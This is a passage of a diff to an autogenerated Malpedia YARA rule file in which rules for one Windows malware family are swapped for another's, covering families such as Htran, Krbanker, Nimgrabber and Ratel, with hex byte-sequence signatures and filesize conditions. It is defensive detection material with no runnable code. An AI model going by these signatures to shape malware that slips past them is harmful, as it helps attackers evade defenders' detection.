$sequence_6 = { 0000 90 000c00 20b140005f5f } + $sequence_7 = { 014318 eb5b 33f6 eb01 } condition: - 7 of them and filesize < 180224 + 7 of them and filesize < 1294336 } -rule MALPEDIA_Win_Ahtapot_Auto : FILE +rule MALPEDIA_Win_Polpo_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "30983b3b-d2d6-5541-9384-47b5921b3fc8" + id = "4ff250ea-14e5-5ddf-884d-81a7a2123b4c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ahtapot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ahtapot_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.polpo" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.polpo_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "7f340dfa857e7f52e8c2b134f735bba10e8c0df571d4ec73a1af949780ad4400" + logic_hash = "c5c58623683189d984bf95794fae6745283628eb524957fe3fb712a317c0fbc7" score = 75 quality = 75 tags = "FILE" @@ -135711,32 +135430,32 @@ rule MALPEDIA_Win_Ahtapot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c1fa05 8bc2 c1e81f 03d0 b814000000 2bc2 0fb7542410 } - $sequence_1 = { 51 8d9580fbffff 52 8d8570f7ffff 68???????? 50 ffd7 } - $sequence_2 = { 8d842494000000 6683383f 7508 ba20000000 668910 41 66399c4c94000000 } - $sequence_3 = { bf00000800 7413 893d???????? 833b02 7422 } - $sequence_4 = { 69c9e8030000 51 ff15???????? 80bec412000000 0f8504fbffff 33c0 8b8c24d8120000 } - $sequence_5 = { 7cb7 3d00010000 740a c786a4af060028a74200 8a55fc 8894303c1b0000 8d8eb41e0000 } - $sequence_6 = { 0f8494000000 8d85bcf7ffff 8d5002 8d642400 668b08 83c002 6685c9 } - $sequence_7 = { 889d65cbffff 89954ccbffff 898550cbffff 899d28cbffff 899d38cbffff 899d48cbffff } - $sequence_8 = { 75df 8d85d0fdffff 50 ffd3 8b4dfc 5f 5e } - $sequence_9 = { 899d70cbffff 899568cbffff 899d60cbffff 3bf3 7533 8b8518cbffff 8b4804 } + $sequence_0 = { 66895004 8a0d???????? 884806 8b45b4 8bf0 8da42400000000 8a08 } + $sequence_1 = { f3a5 8bc8 83e103 f3a4 8d45dc } + $sequence_2 = { 3acb 75f9 2bc6 8dbd4cf7ffff 4f 8a4f01 47 } + $sequence_3 = { 8bc8 c1e902 f3a5 8bc8 83e103 837d0c00 } + $sequence_4 = { 6a00 52 898df4faffff e8???????? b908000000 } + $sequence_5 = { 2bfe 8d9b00000000 8b1437 8b4c3708 } + $sequence_6 = { 33cd e8???????? 8be5 5d c20800 81ff00001000 0f8387000000 } + $sequence_7 = { 85c0 753e 6a02 56 } + $sequence_8 = { 83e03f 0fb680c0940120 83e23f 41 884602 8a92c0940120 885603 } + $sequence_9 = { 8985edfeffff 668985f1feffff 8885f3feffff 8845ec 8945ed 8945f1 } condition: - 7 of them and filesize < 430080 + 7 of them and filesize < 250880 } -rule MALPEDIA_Win_Moker_Auto : FILE +rule MALPEDIA_Win_Cur1_Downloader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "cb9352b8-7986-51d0-bfba-8cdb83b8b9cc" + id = "b4746bef-c0ea-5bd8-a0d8-b1e69c784457" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.moker" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.moker_auto.yar#L1-L162" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cur1_downloader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cur1_downloader_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "7734cc9477f43c35a46e19994290fc756278e602b0dee6674db4466771e526fb" + logic_hash = "75283ba2057f95c8da3348505d3be061064c40e196de82d8a3f46a329333d71b" score = 75 quality = 75 tags = "FILE" @@ -135750,38 +135469,32 @@ rule MALPEDIA_Win_Moker_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0302 8945d4 8b4dd4 83c102 } - $sequence_1 = { 0301 8945e0 e8???????? 8b55e8 } - $sequence_2 = { 0100 83c414 85c0 7502 eb0a } - $sequence_3 = { 0302 8945e8 eb09 8b45e8 } - $sequence_4 = { 0302 8945dc 8b45dc 83c002 } - $sequence_5 = { 0302 8945e8 8b4df8 8b55fc } - $sequence_6 = { 6a00 8b15???????? 52 6a1e 6a3c } - $sequence_7 = { 0302 50 e8???????? 83c404 3b450c 750b 8b4df0 } - $sequence_8 = { 034508 8078fe5c 740d c6005c c6400100 } - $sequence_9 = { 50 6800800000 6a00 ff7508 ff15???????? e8???????? 9d } - $sequence_10 = { 39f7 7410 fc 39fe } - $sequence_11 = { 730c 8b420c 29c6 8b4214 01c6 eb06 83c228 } - $sequence_12 = { eb82 8b86b8000000 40 8d5002 83aec400000004 } - $sequence_13 = { 75eb 59 5e 5f c9 c21000 } - $sequence_14 = { 51 8b4510 48 ff4514 } - $sequence_15 = { 8d5001 52 8d5580 52 e42b } + $sequence_0 = { 8d41ff 8b8482c81a0200 85c0 0f84c6000000 413bc7 } + $sequence_1 = { 8b4c2450 e8???????? 4889442458 48c744242000000000 4c8d8c24c8000000 448b442450 488b542458 } + $sequence_2 = { 83e10f 480fbe841100e40100 8a8c1110e40100 4c2bc0 418b40fc d3e8 } + $sequence_3 = { 4863442420 4533c0 0fb6540424 488d0d8da60200 e8???????? 48634c2420 88440c24 } + $sequence_4 = { 488bbc24e0000000 4803fa 488bd7 8b7c2440 486bff0c 488d35aa980200 4803f7 } + $sequence_5 = { 4533c9 4533c0 488d542438 488b8c24d8000000 } + $sequence_6 = { b843000000 6689842486000000 b875000000 6689842488000000 b872000000 668984248a000000 b872000000 } + $sequence_7 = { 4885c0 751e 498bc6 4c8d3d9f39ffff } + $sequence_8 = { c744242001000000 4533c9 4533c0 488d942420170000 33c9 ff15???????? 89442468 } + $sequence_9 = { 4889442478 488b4c2430 488b542420 4803d1 488bca e8???????? 488b4c2478 } condition: - 7 of them and filesize < 1761280 + 7 of them and filesize < 402432 } -rule MALPEDIA_Win_Vanhelsing_Auto : FILE +rule MALPEDIA_Win_Slickshoes_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "02fe503d-2dc7-525c-81f0-efaa387cf55b" + id = "ad79f63d-1e65-5f60-a723-157797029623" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vanhelsing" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vanhelsing_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.slickshoes" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.slickshoes_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "88005107b8dd0aed04a916a851d1dfdd2e8ac36a0ef3ce82f006aaa16cb30fa5" + logic_hash = "d52c38b22f881790a505e094420c171449849a1fa94bb94b87565ae649a918cb" score = 75 quality = 75 tags = "FILE" @@ -135795,32 +135508,32 @@ rule MALPEDIA_Win_Vanhelsing_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 5d c3 55 8bec 81ec9c000000 8b450c 53 } - $sequence_1 = { 8b4518 0f1000 0f1145cc 0f104010 8b01 8b4904 8945ec } - $sequence_2 = { 660f380035???????? 0f57c8 660f38000d???????? 0f29b520ffffff 0f294df0 0f28c6 660fd4c3 } - $sequence_3 = { 8b45e4 8b048598485600 8b4de0 f644082801 7515 e8???????? c70009000000 } - $sequence_4 = { 85c9 7410 8a80b4d44800 8806 46 41 897590 } - $sequence_5 = { 6a00 6a00 6800000008 ff15???????? 6a03 6a00 6a00 } - $sequence_6 = { 888570fbffff 240f 884580 8a06 888571fbffff 240f 884581 } - $sequence_7 = { 039d48ffffff 8b4dc8 138de8feffff 039df0feffff 898530ffffff 8bc3 138ddcfeffff } - $sequence_8 = { 7f4f 8d4608 50 8d85d8fbffff 68???????? 50 e8???????? } - $sequence_9 = { 0fb6cb c1e803 83e107 0fb67405dc 8d8514ffffff d3ee 83e601 } + $sequence_0 = { ff3424 5b 81c404000000 31ca 59 e9???????? 5e } + $sequence_1 = { ff742404 5b 8f0424 e9???????? 871424 8b2424 e9???????? } + $sequence_2 = { e9???????? 890424 e9???????? 8b1c24 81c404000000 01d6 e9???????? } + $sequence_3 = { e9???????? 5c 81c5aae2bb7f 8b1424 56 e9???????? 58 } + $sequence_4 = { fc 5d e5b4 d070d3 ac 4d f3b694 } + $sequence_5 = { 8a12 be00020000 81c61f000000 0017 81ee40000000 89ef b90a000000 } + $sequence_6 = { ff3424 ff3424 e9???????? 55 bda9d61ffa 29e8 5d } + $sequence_7 = { ff3424 5b 51 890424 89e0 83ec04 893c24 } + $sequence_8 = { e9???????? 52 ba3c0d7e47 e9???????? 59 83ec04 891424 } + $sequence_9 = { e9???????? 5d 83c104 870c24 8b2424 e9???????? 81ec04000000 } condition: - 7 of them and filesize < 2981888 + 7 of them and filesize < 11198464 } -rule MALPEDIA_Win_Cactus_Auto : FILE +rule MALPEDIA_Win_Holerun_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "eb289dca-899a-5588-9223-1deb6b75b964" + id = "79210bcf-218e-5107-a109-edeb02cfeccf" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cactus" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cactus_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.holerun" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.holerun_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "c959580feec97f87bfc35165a408b3d9e2aec2dc4a519f266c222421b5acd4bf" + logic_hash = "089e5eef0cb363abe6346868d7bc24f6b1004eaa9f42643e6a6b76322b0e9b60" score = 75 quality = 75 tags = "FILE" @@ -135834,32 +135547,32 @@ rule MALPEDIA_Win_Cactus_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 85c0 0f843e010000 488d1592b52000 4889d9 e8???????? 85c0 } - $sequence_1 = { e8???????? e8???????? 4c8d05d3572000 baf10c0000 488d0d7f562000 e8???????? 4531c0 } - $sequence_2 = { ffd7 8b18 4180fd01 76e1 4584f6 759b e8???????? } - $sequence_3 = { e8???????? 4531c0 ba00010c00 b90d000000 e8???????? 4889e9 e8???????? } - $sequence_4 = { e8???????? 4889c1 e8???????? 488b4b30 4889c2 488b4328 488b4078 } - $sequence_5 = { eb99 c744243806000000 6690 f6431830 0f85cffdffff 488d35df063a00 e9???????? } - $sequence_6 = { e9???????? e8???????? 4c8d056ab43a00 bad6000000 4889e9 e8???????? 4531c0 } - $sequence_7 = { e8???????? 488b4b10 e8???????? 85c0 0f85b4000000 488b8b90000000 bf01000000 } - $sequence_8 = { e8???????? 4989d8 4889fa 4889f1 e8???????? 488d542423 4989d8 } - $sequence_9 = { bacb010000 488d0d282d3b00 e8???????? 4531c0 ba00010c00 b939000000 e8???????? } + $sequence_0 = { 488d45c0 4989c9 4989d0 ba00040000 4889c1 e8???????? 488b85f0030000 } + $sequence_1 = { 488b85e0020000 488b4008 ba20000000 4889c1 e8???????? 488985c0020000 4883bdc002000000 } + $sequence_2 = { 750a b8ffffffff e9???????? 488b4510 488b00 8b00 3d910000c0 } + $sequence_3 = { 48837df000 751b 488b4510 488b00 488d1502380000 } + $sequence_4 = { ba20000000 4889c1 e8???????? 488945f0 48837df000 0f84dd000000 488345f001 } + $sequence_5 = { eb31 488b05???????? ffd0 89c1 488b85e0020000 } + $sequence_6 = { 488345f808 488d050f8a0000 483945f8 75d1 b801000000 4883c430 5d } + $sequence_7 = { 48c1e002 4889c2 488d0549650000 890c02 } + $sequence_8 = { 488985a0000000 c785cc02000000000000 e9???????? 8b85cc020000 4898 488b84c590000000 } + $sequence_9 = { 750c b91f000000 e8???????? eb39 488b05???????? 8b00 85c0 } condition: - 7 of them and filesize < 13587456 + 7 of them and filesize < 156672 } -rule MALPEDIA_Win_Geminiduke_Auto : FILE +rule MALPEDIA_Win_Telb_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ba57e2c8-93bd-55ac-a9e9-1b7d9180b057" + id = "888a5e5b-e658-58db-97cc-bf969236e2af" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.geminiduke" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.geminiduke_auto.yar#L1-L149" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.telb" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.telb_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "19a3524ebf5f0547a75168cd2fc0d4ded0d15d189661f967133afc45a2ebe1fb" + logic_hash = "e3ec407f2b3918e01e6c60147a108fc9762a60e1c29d49f9899f4240d976bb07" score = 75 quality = 75 tags = "FILE" @@ -135873,36 +135586,32 @@ rule MALPEDIA_Win_Geminiduke_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 83c404 50 6801000080 ff15???????? 85c0 7407 } - $sequence_1 = { 8b7c2410 8b442414 8b4c2418 f3aa 5f 59 } - $sequence_2 = { 52 6819000200 6a00 68???????? e8???????? 83c404 50 } - $sequence_3 = { 50 51 57 8b7c2410 } - $sequence_4 = { 034590 03c8 894dd0 8b45f8 } - $sequence_5 = { 034584 8b8d64ffffff c1e907 8b9564ffffff c1e219 0bca 8b9564ffffff } - $sequence_6 = { 034590 8b8d70ffffff c1e907 8b9570ffffff } - $sequence_7 = { 03459c 03c8 894ddc 8b45fc } - $sequence_8 = { 33d2 f7f3 668907 8bc2 } - $sequence_9 = { 83c1d8 e9???????? 53 56 57 32db } - $sequence_10 = { 80f909 7704 8ac1 0430 } - $sequence_11 = { 8a6834 0fb65036 8a4835 c1e108 0bca 0fb65037 } - $sequence_12 = { 8ad1 80ea0a 80fa05 7705 } - $sequence_13 = { 66894704 8bc2 c1e010 668b4602 33d2 f7f3 } + $sequence_0 = { e8???????? a1???????? 33c4 89842404100000 56 57 6a00 } + $sequence_1 = { 51 e8???????? 83c408 8d85e8dfffff c78598dfffff00000000 8985a0dfffff } + $sequence_2 = { eb07 6a16 68???????? e8???????? 8d4c2430 e8???????? } + $sequence_3 = { 81cf00000003 89bd48eeffff 0f1000 0f1185b0eeffff f30f7e4010 } + $sequence_4 = { ffd1 8bf0 8b442414 50 8b08 ff5108 } + $sequence_5 = { 8d8d88efffff e8???????? 33c9 81cf80000000 89bd38eeffff } + $sequence_6 = { c7400400000000 8985e8edffff 8908 c645fc09 8b85a8eeffff 89853ceeffff 8b85dceeffff } + $sequence_7 = { c644241b01 8b14b8 8bca 8d7102 668b01 } + $sequence_8 = { eb06 8bbd48eeffff 80bd4feeffff00 0f84a1010000 51 8d8d88efffff e8???????? } + $sequence_9 = { c7401407000000 668908 8d8db8efffff c645fc28 } condition: - 7 of them and filesize < 327680 + 7 of them and filesize < 286720 } -rule MALPEDIA_Win_Nimgrabber_Auto : FILE +rule MALPEDIA_Win_Krbanker_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "89bd52a7-663e-548b-aa96-3fbc1c4d91ac" + id = "d85e7258-981d-5cc6-a33a-cbcdd663368d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nimgrabber" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nimgrabber_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.krbanker" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.krbanker_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "d088108be342ea9771cd179dc72ead263968b1a4b5039d9c99155df864322e6b" + logic_hash = "e566b2d91c9e72b8d03a6b5c791e4e71a6dc723cd18d0207fd049c63356700fa" score = 75 quality = 75 tags = "FILE" @@ -135916,32 +135625,32 @@ rule MALPEDIA_Win_Nimgrabber_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 89e8 e8???????? 8b4310 8d68f8 85c0 0f8469feffff 8b4500 } - $sequence_1 = { 8b4514 89442414 83fa0f 7f5a 8b5d04 8b4500 85db } - $sequence_2 = { 89f8 25ff010000 0fb78446e4030000 6685c0 0f85a0090000 89f8 89fa } - $sequence_3 = { 8b442420 8b00 39c6 0f8256feffff 83e801 893424 89442404 } - $sequence_4 = { 8b44243c 8b4c2460 8d5c0808 0fb64708 3c2a 0f849b0b0000 0f87f7000000 } - $sequence_5 = { 8d56f8 83e808 8946f8 83f807 0f861a020000 8b4304 85c0 } - $sequence_6 = { 83ff01 0f8492000000 8b11 8d6ffe 39d5 7211 83ea01 } - $sequence_7 = { 037304 8b5208 0fb6f8 89f1 897c2440 83c42c 5b } - $sequence_8 = { e8???????? c1e807 83f001 83e001 e9???????? 837c24687f 0f8ea80b0000 } - $sequence_9 = { 037c2440 0f49c7 83c208 89542414 89c5 89c8 25ffffff3f } + $sequence_0 = { 895500 8b4104 894504 8b5108 895508 8b410c } + $sequence_1 = { 6a00 6a00 6801030080 6a00 6802000000 6805000080 } + $sequence_2 = { 23d0 8954244c eb08 c744244cffffffff 8d4c2424 } + $sequence_3 = { bb40010000 e8???????? 83c410 8945d0 ff75d0 ff75d4 } + $sequence_4 = { 8955e0 8d55d4 52 6a01 50 51 } + $sequence_5 = { e8???????? 47 4b 3bdd 0f8d5bffffff eb02 8bde } + $sequence_6 = { 75a4 dd442410 e8???????? 8ad8 } + $sequence_7 = { c3 8b4c2420 8b542404 8d442408 50 51 } + $sequence_8 = { 50 8b5dec 8b1b 85db 7409 } + $sequence_9 = { 0faffa 46 3bf0 76cf } condition: - 7 of them and filesize < 1238016 + 7 of them and filesize < 1826816 } -rule MALPEDIA_Win_Teleport_Auto : FILE +rule MALPEDIA_Win_Matsnu_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8775bf50-843a-53a5-99d2-7f1e8df96bef" + id = "ac7d48b9-a967-5b74-8534-0fe3b275eb93" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.teleport" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.teleport_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.matsnu" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.matsnu_auto.yar#L1-L115" license_url = "N/A" - logic_hash = "faedc771daee9d9167e2f4449bf3e87076b81c367250e9b9589a86138f934d43" + logic_hash = "5be086cc43b82632d1f6dd9c773840652ffd11fa9db4f5cb2927e6c0f81579b4" score = 75 quality = 75 tags = "FILE" @@ -135955,32 +135664,32 @@ rule MALPEDIA_Win_Teleport_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 68???????? 894768 893d???????? ff15???????? } - $sequence_1 = { 894824 c6401c01 894dfc 8d85d0feffff b912000000 eb50 } - $sequence_2 = { 8b04bde83e4300 ff743018 ff15???????? 85c0 0f95c0 5f 5e } - $sequence_3 = { 8b01 6a01 ff10 8b4608 8d7e08 8b08 8900 } - $sequence_4 = { 83c404 8b4dc0 0f1003 0f110401 83c010 8945c8 eb06 } - $sequence_5 = { 8b45ec c1e810 0fb6c0 330c85a0fe4200 0fb6c2 330c85a0f64200 334fe8 } - $sequence_6 = { 3bf0 745a 0f1f440000 68???????? 8bcf e8???????? 837e1c08 } - $sequence_7 = { 8b4104 8987a4000000 8b5108 8945f8 8bc2 8997a8000000 8b590c } - $sequence_8 = { 894820 894824 c6401c01 8d45c0 c745fc08000000 be00100000 } - $sequence_9 = { 0fb6c3 8b5de8 331485a0f64200 3357ac 8bc2 c1e808 0fb6c8 } + $sequence_0 = { e9???????? 8985bcfbffff 83bdb0fbffff01 0f8588000000 8b85bcfbffff 8985c4fbffff 8b85c0fbffff } + $sequence_1 = { c645f700 c645f800 c645f90d c645fa0a c645fb00 } + $sequence_2 = { 750f c785a4fbffff02000000 e9???????? 8985bcfbffff 83bdb0fbffff01 } + $sequence_3 = { 8b75fa 01c6 8b4604 48 0145de ff45c6 } + $sequence_4 = { 0f8229010000 c745ea00000000 8b45e6 c1e004 8b75fa } + $sequence_5 = { 751d ff75ba ff7510 e8???????? 8945f6 } + $sequence_6 = { 884db8 807db800 7503 ff45be } + $sequence_7 = { c745f600000000 c745fa00000000 e8???????? 5b } + $sequence_8 = { 837d1800 7405 8b7d18 8907 b820000000 } + $sequence_9 = { 31c0 8985bcfbffff ffb5c4fbffff e8???????? 83f800 } condition: - 7 of them and filesize < 458752 + 7 of them and filesize < 606992 } -rule MALPEDIA_Win_Clambling_Auto : FILE +rule MALPEDIA_Win_Htran_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "76c3ecc2-3249-54dd-85de-02fe8ad874ce" + id = "5705bf81-9a36-5bdc-a413-5dc9bbe8f8e2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.clambling" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.clambling_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.htran" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.htran_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "95ebecd5667958656960c5343bf195152cd54c7954e81daf96b602e90195edba" + logic_hash = "f4c537d909874a527abd7f69551092957789e48daeb6a5277998dd498c7b0511" score = 75 quality = 75 tags = "FILE" @@ -135994,32 +135703,32 @@ rule MALPEDIA_Win_Clambling_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 3bc6 746f 488d8424a8010000 448d4612 488d8c24a0010000 } - $sequence_1 = { 44896c2428 895c2420 e8???????? e9???????? ff15???????? 3bc6 } - $sequence_2 = { 440fb75c2440 66453bdd 7f0b 0fb7442442 66413bc7 } - $sequence_3 = { 7507 66893d???????? 488b0d???????? 488d542430 ff15???????? 448b442430 33d2 } - $sequence_4 = { 7412 48ffc3 4883c010 4881fb00040000 } - $sequence_5 = { ffd0 483bdf 7409 488bcb ff15???????? 33c0 488b5c2438 } - $sequence_6 = { 4c8d442470 8d5601 4889442420 ff15???????? } - $sequence_7 = { 488b542470 488b8c24a8010000 ff15???????? 8907 eb08 ff15???????? } - $sequence_8 = { 8bc3 eb02 33c0 4883c470 415d 5f } - $sequence_9 = { 893d???????? ff15???????? 3bc7 7507 66893d???????? } + $sequence_0 = { 8b942430510000 55 52 68???????? e8???????? } + $sequence_1 = { e8???????? 83c404 e9???????? 68???????? e8???????? 8b942430510000 } + $sequence_2 = { 8d3449 8d34b5f09b4000 83c00c 3bc6 7305 } + $sequence_3 = { 68???????? 6a02 e8???????? 8bb42400020000 83c408 83fe02 0f8ef0000000 } + $sequence_4 = { 5e 83c414 c3 6a05 } + $sequence_5 = { 8b8424e0420100 33c9 894c2414 53 8b10 } + $sequence_6 = { ff15???????? 85c0 7d14 68???????? e8???????? 83c404 } + $sequence_7 = { c3 6a00 6a01 6a02 ff15???????? 85c0 } + $sequence_8 = { 8816 46 8a10 40 0fb6da f683c1c3400004 740c } + $sequence_9 = { 899424e8010000 89b424e8000000 899424e4000000 33c0 8d8c24e8000000 } condition: - 7 of them and filesize < 412672 + 7 of them and filesize < 114688 } -rule MALPEDIA_Win_Jolob_Auto : FILE +rule MALPEDIA_Win_Cloudburst_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e26fb753-78dd-5e02-86f5-44abfa0b6e1a" + id = "66798bc9-d5a7-5171-afa8-26e587fd1d6d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jolob" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.jolob_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudburst" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cloudburst_auto.yar#L1-L115" license_url = "N/A" - logic_hash = "95fc52fc444139dde815965f9b3fdbca25ad1f5fb52fadd80f33a59c158da935" + logic_hash = "4402c4459a61713f167f313847e8e10fbc4c4d6c965b37f16be2690ee599b8f7" score = 75 quality = 75 tags = "FILE" @@ -136033,32 +135742,32 @@ rule MALPEDIA_Win_Jolob_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6a64 ff15???????? e9???????? 8b431c e8???????? ff7318 e8???????? } - $sequence_1 = { ff15???????? 50 ff15???????? 8d85ecfeffff 50 ff15???????? 85c0 } - $sequence_2 = { 3bc2 75ec 834710f8 8d75dc e8???????? ff75f4 ff15???????? } - $sequence_3 = { 832600 59 8bb720080000 8b2d???????? 85f6 7415 } - $sequence_4 = { 8945e4 e8???????? 8b5de4 8b4f0c 53 } - $sequence_5 = { 8a45ff 88043e 46 83fe04 7c1f 807c3efc0d 7518 } - $sequence_6 = { 8bc6 5e c20400 832700 85f6 7410 8b4618 } - $sequence_7 = { 8d7df4 e8???????? 8b45f4 8906 5f c9 c3 } - $sequence_8 = { 3b4e30 72e9 8918 8b463c } - $sequence_9 = { 3bc3 7407 50 e8???????? 59 895e14 895e10 } + $sequence_0 = { 33d3 41891424 4133d3 4189542404 } + $sequence_1 = { 49ffc0 eb39 0fb6c1 43c6041825 } + $sequence_2 = { 4585c0 743e 488b0d???????? 4c8d4c2448 488bd7 } + $sequence_3 = { 45330c24 45894c2410 4133d1 4189542414 448bc2 4533442408 } + $sequence_4 = { 0f8cb0000000 48897c2450 4c89642458 488bfe } + $sequence_5 = { 4d8bf8 440fb6420c 41c1e108 4c8d35a3e5ffff 41c1e008 c1e708 } + $sequence_6 = { 418bea 4589542440 33eb 8bc5 } + $sequence_7 = { c744245068000000 48894598 c744247004010000 c745a004010000 } + $sequence_8 = { 418bc6 99 83e20f 03c2 8bc8 83e00f 3bc2 } + $sequence_9 = { 418b4424fc 418942fc 4183bf0002000001 0f8e3d010000 90 458b4c24e0 41ffc6 } condition: - 7 of them and filesize < 196608 + 7 of them and filesize < 2363392 } -rule MALPEDIA_Win_Ratel_Auto : FILE +rule MALPEDIA_Win_Pocodown_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "3659af5a-6903-5ae8-965b-97a9526108b3" + id = "24fa8c2b-d3e1-5926-9dee-69a93fed8b3c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ratel" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ratel_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pocodown" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pocodown_auto.yar#L1-L90" license_url = "N/A" - logic_hash = "89a6fc619b74a1abf97d7e9ad932eeb9075f956a974cadff963b35627fbf078a" + logic_hash = "81ce65c7d22552fcdf6138ce3c49e38f993fc4ab399006dba75fe36bc9807464" score = 75 quality = 75 tags = "FILE" @@ -136072,32 +135781,30 @@ rule MALPEDIA_Win_Ratel_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c705????????080e4c00 e8???????? 83ec08 b9???????? c705????????01000000 c705????????94154c00 c705????????00000000 } - $sequence_1 = { 8b510c 31c0 395108 0f82dafeffff 8b01 ff5024 89c2 } - $sequence_2 = { 8b5c2420 395808 0f8c51020000 8b442454 8b4c2420 8b4004 39c8 } - $sequence_3 = { 8b4508 8b550c 890c24 8d4de0 8945d0 8955d4 e8???????? } - $sequence_4 = { 8d5601 89d8 89530c e8???????? 89c1 890c24 e9???????? } - $sequence_5 = { 8d7810 83c004 c744243200000000 890424 89542426 31d2 6689542436 } - $sequence_6 = { e9???????? 8b01 ff5024 89c3 83f8ff 0f8522fbffff c7450800000000 } - $sequence_7 = { 8b470c 894c2410 8b00 890424 e8???????? 